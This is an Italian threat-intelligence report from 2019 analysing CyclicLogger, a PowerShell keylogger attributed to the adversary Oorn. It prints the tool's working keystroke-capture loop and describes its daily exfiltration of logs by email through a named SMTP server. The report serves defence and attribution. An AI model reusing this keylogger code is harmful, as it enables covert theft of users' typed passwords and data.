Oorn: sviluppato nuovo keylogger CyclicLogger scritto in Powershell

Pubblicato: 30/10/2019 14:57 - Ultimo aggiornamento: 30/10/2019 15:04

Categorie: Cyber Crime, Threat
Tipo di Informazione: Tattico, Tecnico
Distribuzione: **TLP:RED**[1] - Declassificato TLP WHITE in data 22/11/2019

Genesi

Le attività di tracciamento ed analisi del **CIOC di TS-WAY** hanno permesso di identificare un **Keylogger** in fase di sviluppo da parte dell'avversario.

Assessment

Il mese di **Ottobre 2019** è stato un mese dedicato allo sviluppo di molti nuovi strumenti per l'avversario Oorn. Oltre ai programmi malevoli *JoLuncher* e *Joser* già documentati in un precedente report e alla personalizzazione del tool di gestione remota *RemoteUtilities*, è stato aggiunto all'arsenale un nuovo strumento: un **keylogger** con esfiltrazione dati via **SMTP**.

Il programma è scritto in **Powershell** ed al momento non è rilevato come malevolo da nessuna versione standard dei più noti software a ntivirus. I dati vengono inviati all'avversario sfruttando il **server SMTP pubblico** e l'**email dell'avversario**, già utilizzati in precedenti campagne. Allo strumento è stato dato il nome di **CyclicLogger**.

Lo sviluppo dello strumento è stato affidato allo stesso **programmatore palestinese** che ha sviluppato JoLuncher e Joser, a cui si è aggiunto un nuovo **programmatore di origine araba**, probabilmente uno studente universitario nell'ambito della computer science.

In sintesi

- Oorn sviluppa un nuovo keylogger Powershell con esfiltrazione dati via SMTP.
- Lo sviluppo è affidato allo sviluppatore palestinese di JoLuncher e Joser e ad un nuovo sviluppatore di origine araba.

Analisi Tecnica

Il malware, reperito attraverso le attività di tracciamento del **CIOC di TS-WAY**, si presenta come uno script Powershell chiamato *"ps.ps1".*

Il keylogger raccoglie i dati digitati dall'utente sfruttando alcune API di Windows importate nello script all'interno di un ciclo di cattura tasti minimale:

```
    for ($ascii = 8; $ascii -le 254; $ascii++) {
        $state = [Windows]::GetAsyncKeyState($ascii)
        if ($state -eq -32767) {
            if($ascii -eq 8){
                [System.IO.File]::AppendAllText($File_Path, "[BackSpace]",
[System.Text.Encoding]::Unicode);
                continue;
            }ElseIf($ascii -eq 27) {
                [System.IO.File]::AppendAllText($File_Path, "[ESC]",
[System.Text.Encoding]::Unicode);
                continue;
            }

            $null = [console]::CapsLock

            $virtualKey = [Windows]::MapVirtualKeyEx($ascii,
0,$keyboard_layout);

            $kbstate = New-Object Byte[] 256
            $checkkbstate = [Windows]::GetKeyboardState($kbstate)
            $mychar = New-Object -TypeName System.Text.StringBuilder
            $success = [Windows]::ToUnicodeEx($ascii, $virtualKey, $kbstate,
$mychar, 5, 0,$keyboard_layout)
            if ($success) {
                if($ps_name.Length -gt 0){
                    if($prev_name -ne $ps_name){
                        [System.IO.File]::AppendAllText($File_Path,
"`r`n["+$ps_name+"]`r`n", [System.Text.Encoding]::Unicode)
                        $prev_name = $ps_name;
                    }
                }
                [System.IO.File]::AppendAllText($File_Path, $mychar,
[System.Text.Encoding]::Unicode)
            }
        }
    }
```

Essendo il cuore dello script composto da questo unico ciclo, lo strumento è stato ribattezzato **CyclicLogger**.

Le **digitazioni catturate** vengono **salvate** all'interno della directory *"%AppData%\Logs\"* in una serie di file sequenziali ordinati per data e ora.

L'esfiltrazione dei dati è gestita da un job separato, lanciato all'avvio del tool. Questo job controlla ogni **24 ore** i file presenti nella directory dei log, e li **invia** all'avversario attraverso il **server SMTP** *"out.impresasemplice.it"* già utilizzato in precedenti campagne.

Ogni file di log è come **allegato in una mail a sé stante**, avente come oggetto *"lego"* e come corpo di testo *"Forgot a lego file"*. Una volta inviati, i file di log vengono rimossi dalla macchina.

Come per altri strumenti dell'avversario, lo **sviluppo è stato affidato a sviluppatori**

esterni, tra i quali compare il **programmatore palestinese** che aveva già lavorato agli strumenti malevoli *JoLuncher* e *Joser* (documentati in un precedente report). A lui si è unito un **nuovo sviluppatore**, apparentemente di **origine araba** e studente nel campo della computer science.

L'identificazione degli sviluppatori è stata possibile sfruttando alcuni dati personali lasciati erroneamente nel sorgente del programma e rivela una scarsa attenzione all'operational security da parte dell'avversario e dei suoi collaboratori.

Eventi IOC

1. [805411] Oorn Keylogger Sample (v1)
2. [805412] Oorn Keylogger Sample (v2)
3. [805413] Oorn Keylogger Sample (v3)
4. [805414] Oorn Keylogger Sample (v3)

Note

[1] Per maggiori informazioni riguardo le TLP si prega di consultare https://www.us-cert.gov/tlp

Contatti

intel@ts-way.com